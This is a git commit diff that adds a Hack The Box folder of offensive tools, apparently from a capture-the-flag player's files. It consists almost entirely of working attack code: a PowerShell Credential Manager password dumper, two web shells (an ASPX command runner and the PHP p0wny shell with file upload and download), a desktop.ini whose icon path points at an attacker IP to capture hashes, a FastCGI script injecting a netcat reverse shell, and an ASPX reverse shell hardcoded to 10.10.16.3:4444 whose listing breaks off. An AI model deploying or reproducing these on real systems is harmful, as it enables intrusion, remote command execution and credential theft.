old htb folders
This commit is contained in:
2023-08-29 21:53:22 +02:00
parent 62ab804867
commit 82b0759f1e
21891 changed files with 6277643 additions and 0 deletions

View File

@@ -0,0 +1,264 @@
function Invoke-WCMDump
{
<#
.SYNOPSIS
Dumps Windows credentials from the Windows Credential Manager for the current user.
Author: Barrett Adams (@peewpw)
.DESCRIPTION
Enumerates Windows credentials in the Credential Manager and then extracts available
information about each one. Passwords can be retrieved for "Generic" type credentials,
but not for "Domain" type credentials.
.EXAMPLE
PS>Import-Module .\Invoke-WCMDump.ps1
PS>Invoke-WCMDump
Username : testusername
Password : P@ssw0rd!
Target : TestApplication
Description :
LastWriteTime : 12/9/2017 4:46:50 PM
LastWriteTimeUtc : 12/9/2017 9:46:50 PM
Type : Generic
PersistenceType : Enterprise
#>
$source = @"
// C# modified from https://github.com/spolnik/Simple.CredentialsManager
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Security.Permissions;
public class Credential : IDisposable
{
private static readonly object LockObject = new object();
private static readonly SecurityPermission UnmanagedCodePermission;
private string description;
private DateTime lastWriteTime;
private string password;
private PersistenceType persistenceType;
private string target;
private CredentialType type;
private string username;
static Credential()
{
lock (LockObject)
{
UnmanagedCodePermission = new SecurityPermission(SecurityPermissionFlag.UnmanagedCode);
}
}
public Credential(string username, string password, string target, CredentialType type)
{
Username = username;
Password = password;
Target = target;
Type = type;
PersistenceType = PersistenceType.Session;
lastWriteTime = DateTime.MinValue;
}
public string Username
{
get { return username; }
set { username = value; }
}
public string Password
{
get { return password; }
set { password = value; }
}
public string Target
{
get { return target; }
set { target = value; }
}
public string Description
{
get { return description; }
set { description = value; }
}
public DateTime LastWriteTime
{
get { return LastWriteTimeUtc.ToLocalTime(); }
}
public DateTime LastWriteTimeUtc
{
get { return lastWriteTime; }
private set { lastWriteTime = value; }
}
public CredentialType Type
{
get { return type; }
set { type = value; }
}
public PersistenceType PersistenceType
{
get { return persistenceType; }
set { persistenceType = value; }
}
public void Dispose() { }
public bool Load()
{
UnmanagedCodePermission.Demand();
IntPtr credPointer;
Boolean result = NativeMethods.CredRead(Target, Type, 0, out credPointer);
if (!result)
return false;
using (NativeMethods.CriticalCredentialHandle credentialHandle = new NativeMethods.CriticalCredentialHandle(credPointer))
{
LoadInternal(credentialHandle.GetCredential());
}
return true;
}
public static IEnumerable<Credential> LoadAll()
{
UnmanagedCodePermission.Demand();
IEnumerable<NativeMethods.CREDENTIAL> creds = NativeMethods.CredEnumerate();
List<Credential> credlist = new List<Credential>();
foreach (NativeMethods.CREDENTIAL cred in creds)
{
Credential fullCred = new Credential(cred.UserName, null, cred.TargetName, (CredentialType)cred.Type);
if (fullCred.Load())
credlist.Add(fullCred);
}
return credlist;
}
internal void LoadInternal(NativeMethods.CREDENTIAL credential)
{
Username = credential.UserName;
if (credential.CredentialBlobSize > 0)
{
Password = Marshal.PtrToStringUni(credential.CredentialBlob, credential.CredentialBlobSize / 2);
}
Target = credential.TargetName;
Type = (CredentialType)credential.Type;
PersistenceType = (PersistenceType)credential.Persist;
Description = credential.Comment;
LastWriteTimeUtc = DateTime.FromFileTimeUtc(credential.LastWritten);
}
}
public class NativeMethods
{
[DllImport("Advapi32.dll", EntryPoint = "CredReadW", CharSet = CharSet.Unicode, SetLastError = true)]
internal static extern bool CredRead(string target, CredentialType type, int reservedFlag, out IntPtr credentialPtr);
[DllImport("Advapi32.dll", EntryPoint = "CredFree", SetLastError = true)]
internal static extern void CredFree([In] IntPtr cred);
[DllImport("Advapi32.dll", EntryPoint = "CredEnumerate", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
[StructLayout(LayoutKind.Sequential)]
internal struct CREDENTIAL
{
public int Flags;
public int Type;
[MarshalAs(UnmanagedType.LPWStr)] public string TargetName;
[MarshalAs(UnmanagedType.LPWStr)] public string Comment;
public long LastWritten;
public int CredentialBlobSize;
public IntPtr CredentialBlob;
public int Persist;
public int AttributeCount;
public IntPtr Attributes;
[MarshalAs(UnmanagedType.LPWStr)] public string TargetAlias;
[MarshalAs(UnmanagedType.LPWStr)] public string UserName;
}
internal static IEnumerable<CREDENTIAL> CredEnumerate()
{
int count;
IntPtr pCredentials;
Boolean ret = CredEnumerate(null, 0, out count, out pCredentials);
if (ret == false)
throw new Exception("Failed to enumerate credentials");
List<CREDENTIAL> credlist = new List<CREDENTIAL>();
IntPtr credential = new IntPtr();
for (int n = 0; n < count; n++)
{
credential = Marshal.ReadIntPtr(pCredentials, n * Marshal.SizeOf(typeof(IntPtr)));
credlist.Add((CREDENTIAL)Marshal.PtrToStructure(credential, typeof(CREDENTIAL)));
}
return credlist;
}
internal sealed class CriticalCredentialHandle : CriticalHandleZeroOrMinusOneIsInvalid
{
internal CriticalCredentialHandle(IntPtr preexistingHandle)
{
SetHandle(preexistingHandle);
}
internal CREDENTIAL GetCredential()
{
if (!IsInvalid)
{
return (CREDENTIAL)Marshal.PtrToStructure(handle, typeof(CREDENTIAL));
}
throw new InvalidOperationException("Invalid CriticalHandle!");
}
protected override bool ReleaseHandle()
{
if (!IsInvalid)
{
CredFree(handle);
SetHandleAsInvalid();
return true;
}
return false;
}
}
}
public enum CredentialType : uint
{
None = 0,
Generic = 1,
DomainPassword = 2,
DomainCertificate = 3,
DomainVisiblePassword = 4,
GenericCertificate = 5,
DomainExtended = 6,
Maximum = 7,
CredTypeMaximum = Maximum+1000
}
public enum PersistenceType : uint
{
Session = 1,
LocalComputer = 2,
Enterprise = 3
}
"@
$add = Add-Type -TypeDefinition $source -Language CSharp -PassThru
$loadAll = [Credential]::LoadAll()
Write-Output $loadAll
}

Binary file not shown.

BIN
HTB/uploads/RunasCs.exe Normal file

Binary file not shown.

BIN
HTB/uploads/SharpHound.exe Normal file

Binary file not shown.

BIN
HTB/uploads/chisel Normal file

Binary file not shown.

BIN
HTB/uploads/chisel.exe Normal file

Binary file not shown.

37
HTB/uploads/cmd.aspx Normal file
View File

@@ -0,0 +1,37 @@
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>
<script runat="server">
Sub RunCmd(Src As Object, E As EventArgs)
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)
myProcessStartInfo.UseShellExecute = false
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments=xcmd.text
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
mystring=replace(mystring,"<","&lt;")
mystring=replace(mystring,">","&gt;")
result.text= vbcrlf & "<pre>" & mystring & "</pre>"
End Sub
</script>
<html>
<body>
<form runat="server">
<p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>
<asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>
<p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>
<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>
<p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>
<p><asp:Label id="result" runat="server"></asp:Label>
</form>
</body>
</html>

2
HTB/uploads/desktop.ini Normal file
View File

@@ -0,0 +1,2 @@
[.ShellClassInfo]
IconFile=\\10.10.16.3\aa

17
HTB/uploads/fastcgi.sh Normal file
View File

@@ -0,0 +1,17 @@
#!/bin/bash
PAYLOAD="<?php system('nc -c /bin/bash 10.10.16.3 4444');"
FILENAMES="/var/www/store/index.php" # Exisiting file path
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done

5657
HTB/uploads/linpeas.sh Normal file

File diff suppressed because one or more lines are too long

511
HTB/uploads/powny.php Normal file
View File

@@ -0,0 +1,511 @@
<?php
function expandPath($path) {
if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) {
exec("echo $match[1]", $stdout);
return $stdout[0] . $match[2];
}
return $path;
}
function featureShell($cmd, $cwd) {
$stdout = array();
if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) {
chdir(expandPath("~"));
} elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
chdir(expandPath($match[1]));
} elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
return featureDownload($match[1]);
} else {
chdir($cwd);
exec($cmd, $stdout);
}
return array(
"stdout" => $stdout,
"cwd" => getcwd()
);
}
function featurePwd() {
return array("cwd" => getcwd());
}
function featureHint($fileName, $cwd, $type) {
chdir($cwd);
if ($type == 'cmd') {
$cmd = "compgen -c $fileName";
} else {
$cmd = "compgen -f $fileName";
}
$cmd = "/bin/bash -c \"$cmd\"";
$files = explode("\n", shell_exec($cmd));
return array(
'files' => $files,
);
}
function featureDownload($filePath) {
$file = @file_get_contents($filePath);
if ($file === FALSE) {
return array(
'stdout' => array('File not found / no read permission.'),
'cwd' => getcwd()
);
} else {
return array(
'name' => basename($filePath),
'file' => base64_encode($file)
);
}
}
function featureUpload($path, $file, $cwd) {
chdir($cwd);
$f = @fopen($path, 'wb');
if ($f === FALSE) {
return array(
'stdout' => array('Invalid path / no write permission.'),
'cwd' => getcwd()
);
} else {
fwrite($f, base64_decode($file));
fclose($f);
return array(
'stdout' => array('Done.'),
'cwd' => getcwd()
);
}
}
if (isset($_GET["feature"])) {
$response = NULL;
switch ($_GET["feature"]) {
case "shell":
$cmd = $_POST['cmd'];
if (!preg_match('/2>/', $cmd)) {
$cmd .= ' 2>&1';
}
$response = featureShell($cmd, $_POST["cwd"]);
break;
case "pwd":
$response = featurePwd();
break;
case "hint":
$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
break;
case 'upload':
$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
}
header("Content-Type: application/json");
echo json_encode($response);
die();
}
?><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>p0wny@shell:~#</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<style>
html, body {
margin: 0;
padding: 0;
background: #333;
color: #eee;
font-family: monospace;
}
*::-webkit-scrollbar-track {
border-radius: 8px;
background-color: #353535;
}
*::-webkit-scrollbar {
width: 8px;
height: 8px;
}
*::-webkit-scrollbar-thumb {
border-radius: 8px;
-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
background-color: #bcbcbc;
}
#shell {
background: #222;
max-width: 800px;
margin: 50px auto 0 auto;
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
font-size: 10pt;
display: flex;
flex-direction: column;
align-items: stretch;
}
#shell-content {
height: 500px;
overflow: auto;
padding: 5px;
white-space: pre-wrap;
flex-grow: 1;
}
#shell-logo {
font-weight: bold;
color: #FF4180;
text-align: center;
}
@media (max-width: 991px) {
#shell-logo {
font-size: 6px;
margin: -25px 0;
}
html, body, #shell {
height: 100%;
width: 100%;
max-width: none;
}
#shell {
margin-top: 0;
}
}
@media (max-width: 767px) {
#shell-input {
flex-direction: column;
}
}
@media (max-width: 320px) {
#shell-logo {
font-size: 5px;
}
}
.shell-prompt {
font-weight: bold;
color: #75DF0B;
}
.shell-prompt > span {
color: #1BC9E7;
}
#shell-input {
display: flex;
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
border-top: rgba(255, 255, 255, .05) solid 1px;
}
#shell-input > label {
flex-grow: 0;
display: block;
padding: 0 5px;
height: 30px;
line-height: 30px;
}
#shell-input #shell-cmd {
height: 30px;
line-height: 30px;
border: none;
background: transparent;
color: #eee;
font-family: monospace;
font-size: 10pt;
width: 100%;
align-self: center;
}
#shell-input div {
flex-grow: 1;
align-items: stretch;
}
#shell-input input {
outline: none;
}
</style>
<script>
var CWD = null;
var commandHistory = [];
var historyPosition = 0;
var eShellCmdInput = null;
var eShellContent = null;
function _insertCommand(command) {
eShellContent.innerHTML += "\n\n";
eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
eShellContent.innerHTML += escapeHtml(command);
eShellContent.innerHTML += "\n";
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _insertStdout(stdout) {
eShellContent.innerHTML += escapeHtml(stdout);
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _defer(callback) {
setTimeout(callback, 0);
}
function featureShell(command) {
_insertCommand(command);
if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
} else if (/^\s*clear\s*$/.test(command)) {
// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
eShellContent.innerHTML = '';
} else {
makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
if (response.hasOwnProperty('file')) {
featureDownload(response.name, response.file)
} else {
_insertStdout(response.stdout.join("\n"));
updateCwd(response.cwd);
}
});
}
}
function featureHint() {
if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
function _requestCallback(data) {
if (data.files.length <= 1) return; // no completion
if (data.files.length === 2) {
if (type === 'cmd') {
eShellCmdInput.value = data.files[0];
} else {
var currentValue = eShellCmdInput.value;
eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
}
} else {
_insertCommand(eShellCmdInput.value);
_insertStdout(data.files.join("\n"));
}
}
var currentCmd = eShellCmdInput.value.split(" ");
var type = (currentCmd.length === 1) ? "cmd" : "file";
var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
makeRequest(
"?feature=hint",
{
filename: fileName,
cwd: CWD,
type: type
},
_requestCallback
);
}
function featureDownload(name, file) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
element.setAttribute('download', name);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
_insertStdout('Done.');
}
function featureUpload(path) {
var element = document.createElement('input');
element.setAttribute('type', 'file');
element.style.display = 'none';
document.body.appendChild(element);
element.addEventListener('change', function () {
var promise = getBase64(element.files[0]);
promise.then(function (file) {
makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
_insertStdout(response.stdout.join("\n"));
updateCwd(response.cwd);
});
}, function () {
_insertStdout('An unknown client-side error occurred.');
});
});
element.click();
document.body.removeChild(element);
}
function getBase64(file, onLoadCallback) {
return new Promise(function(resolve, reject) {
var reader = new FileReader();
reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
reader.onerror = reject;
reader.readAsDataURL(file);
});
}
function genPrompt(cwd) {
cwd = cwd || "~";
var shortCwd = cwd;
if (cwd.split("/").length > 3) {
var splittedCwd = cwd.split("/");
shortCwd = "/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
}
return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
}
function updateCwd(cwd) {
if (cwd) {
CWD = cwd;
_updatePrompt();
return;
}
makeRequest("?feature=pwd", {}, function(response) {
CWD = response.cwd;
_updatePrompt();
});
}
function escapeHtml(string) {
return string
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;");
}
function _updatePrompt() {
var eShellPrompt = document.getElementById("shell-prompt");
eShellPrompt.innerHTML = genPrompt(CWD);
}
function _onShellCmdKeyDown(event) {
switch (event.key) {
case "Enter":
featureShell(eShellCmdInput.value);
insertToHistory(eShellCmdInput.value);
eShellCmdInput.value = "";
break;
case "ArrowUp":
if (historyPosition > 0) {
historyPosition--;
eShellCmdInput.blur();
eShellCmdInput.value = commandHistory[historyPosition];
_defer(function() {
eShellCmdInput.focus();
});
}
break;
case "ArrowDown":
if (historyPosition >= commandHistory.length) {
break;
}
historyPosition++;
if (historyPosition === commandHistory.length) {
eShellCmdInput.value = "";
} else {
eShellCmdInput.blur();
eShellCmdInput.focus();
eShellCmdInput.value = commandHistory[historyPosition];
}
break;
case 'Tab':
event.preventDefault();
featureHint();
break;
}
}
function insertToHistory(cmd) {
commandHistory.push(cmd);
historyPosition = commandHistory.length;
}
function makeRequest(url, params, callback) {
function getQueryString() {
var a = [];
for (var key in params) {
if (params.hasOwnProperty(key)) {
a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
}
}
return a.join("&");
}
var xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
try {
var responseJson = JSON.parse(xhr.responseText);
callback(responseJson);
} catch (error) {
alert("Error while parsing response: " + error);
}
}
};
xhr.send(getQueryString());
}
document.onclick = function(event) {
event = event || window.event;
var selection = window.getSelection();
var target = event.target || event.srcElement;
if (target.tagName === "SELECT") {
return;
}
if (!selection.toString()) {
eShellCmdInput.focus();
}
};
window.onload = function() {
eShellCmdInput = document.getElementById("shell-cmd");
eShellContent = document.getElementById("shell-content");
updateCwd();
eShellCmdInput.focus();
};
</script>
</head>
<body>
<div id="shell">
<pre id="shell-content">
<div id="shell-logo">
___ ____ _ _ _ _ _ <span></span>
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
|_| |___/ \____/ <span></span>
</div>
</pre>
<div id="shell-input">
<label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
<div>
<input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
</div>
</div>
</div>
</body>
</html>

BIN
HTB/uploads/pspy64 Normal file

Binary file not shown.

BIN
HTB/uploads/rtcp64 Normal file

Binary file not shown.

BIN
HTB/uploads/rtcp64.exe Normal file

Binary file not shown.

423
HTB/uploads/shell.aspx Normal file
View File

@@ -0,0 +1,423 @@
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<script runat="server">
//Original shell post: https://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/
//Download link: https://www.darknet.org.uk/content/files/InsomniaShell.zip
protected void Page_Load(object sender, EventArgs e)
{
String host = "10.10.16.3"; //CHANGE THIS
int port = 4444; ////CHANGE THIS
CallbackShell(host, port);
}
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public int cb;
public String lpReserved;
public String lpDesktop;
public String lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int Length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[DllImport("kernel32.dll")]
static extern bool CreateProcess(string lpApplicationName,
string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles,
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
public static uint INFINITE = 0xFFFFFFFF;
[DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);
internal struct sockaddr_in
{
public short sin_family;
public short sin_port;
public int sin_addr;
public long sin_zero;
}
[DllImport("kernel32.dll")]
static extern IntPtr GetStdHandle(int nStdHandle);
[DllImport("kernel32.dll")]
static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);
public const int STD_INPUT_HANDLE = -10;
public const int STD_OUTPUT_HANDLE = -11;
public const int STD_ERROR_HANDLE = -12;
[DllImport("kernel32")]
static extern bool AllocConsole();
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern IntPtr WSASocket([In] AddressFamily addressFamily,
[In] SocketType socketType,
[In] ProtocolType protocolType,
[In] IntPtr protocolInfo,
[In] uint group,
[In] int flags
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int inet_addr([In] string cp);
[DllImport("ws2_32.dll")]
private static extern string inet_ntoa(uint ip);
[DllImport("ws2_32.dll")]
private static extern uint htonl(uint ip);
[DllImport("ws2_32.dll")]
private static extern uint ntohl(uint ip);
[DllImport("ws2_32.dll")]
private static extern ushort htons(ushort ip);
[DllImport("ws2_32.dll")]
private static extern ushort ntohs(ushort ip);
[DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int send(
[In] IntPtr socketHandle,
[In] byte[] pinnedBuffer,
[In] int len,
[In] SocketFlags socketFlags
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int recv(
[In] IntPtr socketHandle,
[In] IntPtr pinnedBuffer,
[In] int len,
[In] SocketFlags socketFlags
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int closesocket(
[In] IntPtr socketHandle
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern IntPtr accept(
[In] IntPtr socketHandle,
[In, Out] ref sockaddr_in socketAddress,
[In, Out] ref int socketAddressSize
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int listen(
[In] IntPtr socketHandle,
[In] int backlog
);
[DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern int bind(
[In] IntPtr socketHandle,
[In] ref sockaddr_in socketAddress,
[In] int socketAddressSize
);
public enum TOKEN_INFORMATION_CLASS
{
TokenUser = 1,
TokenGroups,
TokenPrivileges,
TokenOwner,
TokenPrimaryGroup,
TokenDefaultDacl,
TokenSource,
TokenType,
TokenImpersonationLevel,
TokenStatistics,
TokenRestrictedSids,
TokenSessionId
}
[DllImport("advapi32", CharSet = CharSet.Auto)]
public static extern bool GetTokenInformation(
IntPtr hToken,
TOKEN_INFORMATION_CLASS tokenInfoClass,
IntPtr TokenInformation,
int tokeInfoLength,
ref int reqLength);
public enum TOKEN_TYPE
{
TokenPrimary = 1,
TokenImpersonation
}
public enum SECURITY_IMPERSONATION_LEVEL
{
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
}
[DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,
String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]
public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess,
ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType,
ref IntPtr DuplicateTokenHandle);
const int ERROR_NO_MORE_ITEMS = 259;
[StructLayout(LayoutKind.Sequential)]
struct TOKEN_USER
{
public _SID_AND_ATTRIBUTES User;
}
[StructLayout(LayoutKind.Sequential)]
public struct _SID_AND_ATTRIBUTES
{
public IntPtr Sid;
public int Attributes;
}
[DllImport("advapi32", CharSet = CharSet.Auto)]
public extern static bool LookupAccountSid
(
[In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName,
IntPtr pSid,
StringBuilder Account,
ref int cbName,
StringBuilder DomainName,
ref int cbDomainName,
ref int peUse
);
[DllImport("advapi32", CharSet = CharSet.Auto)]
public extern static bool ConvertSidToStringSid(
IntPtr pSID,
[In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(
IntPtr hHandle);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);
[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VMOperation = 0x00000008,
VMRead = 0x00000010,
VMWrite = 0x00000020,
DupHandle = 0x00000040,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
Synchronize = 0x00100000
}
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll")]
extern static IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,
uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
[DllImport("psapi.dll", SetLastError = true)]
public static extern bool EnumProcessModules(IntPtr hProcess,
[MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule,
uint cb,
[MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);
[DllImport("psapi.dll")]
static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);
public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;
public const uint PIPE_ACCESS_DUPLEX = 0x00000003;
public const uint PIPE_ACCESS_INBOUND = 0x00000001;
public const uint PIPE_WAIT = 0x00000000;
public const uint PIPE_NOWAIT = 0x00000001;
public const uint PIPE_READMODE_BYTE = 0x00000000;
public const uint PIPE_READMODE_MESSAGE = 0x00000002;
public const uint PIPE_TYPE_BYTE = 0x00000000;
public const uint PIPE_TYPE_MESSAGE = 0x00000004;
public const uint PIPE_CLIENT_END = 0x00000000;
public const uint PIPE_SERVER_END = 0x00000001;
public const uint PIPE_UNLIMITED_INSTANCES = 255;
public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;
public const uint NMPWAIT_NOWAIT = 0x00000001;
public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;
public const uint GENERIC_READ = (0x80000000);
public const uint GENERIC_WRITE = (0x40000000);
public const uint GENERIC_EXECUTE = (0x20000000);
public const uint GENERIC_ALL = (0x10000000);
public const uint CREATE_NEW = 1;
public const uint CREATE_ALWAYS = 2;
public const uint OPEN_EXISTING = 3;
public const uint OPEN_ALWAYS = 4;
public const uint TRUNCATE_EXISTING = 5;
public const int INVALID_HANDLE_VALUE = -1;
public const ulong ERROR_SUCCESS = 0;
public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;
public const ulong ERROR_PIPE_BUSY = 231;
public const ulong ERROR_NO_DATA = 232;
public const ulong ERROR_PIPE_NOT_CONNECTED = 233;
public const ulong ERROR_MORE_DATA = 234;
public const ulong ERROR_PIPE_CONNECTED = 535;
public const ulong ERROR_PIPE_LISTENING = 536;
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateNamedPipe(
String lpName,
uint dwOpenMode,
uint dwPipeMode,
uint nMaxInstances,
uint nOutBufferSize,
uint nInBufferSize,
uint nDefaultTimeOut,
IntPtr pipeSecurityDescriptor
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ConnectNamedPipe(
IntPtr hHandle,
uint lpOverlapped
);
[DllImport("Advapi32.dll", SetLastError = true)]
public static extern bool ImpersonateNamedPipeClient(
IntPtr hHandle);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool GetNamedPipeHandleState(
IntPtr hHandle,
IntPtr lpState,
IntPtr lpCurInstances,
IntPtr lpMaxCollectionCount,
IntPtr lpCollectDataTimeout,
StringBuilder lpUserName,
int nMaxUserNameSize
);
protected void CallbackShell(string server, int port)
{
string request = "Spawn Shell...\n";
Byte[] bytesSent = Encoding.ASCII.GetBytes(request);
IntPtr oursocket = IntPtr.Zero;
sockaddr_in socketinfo;
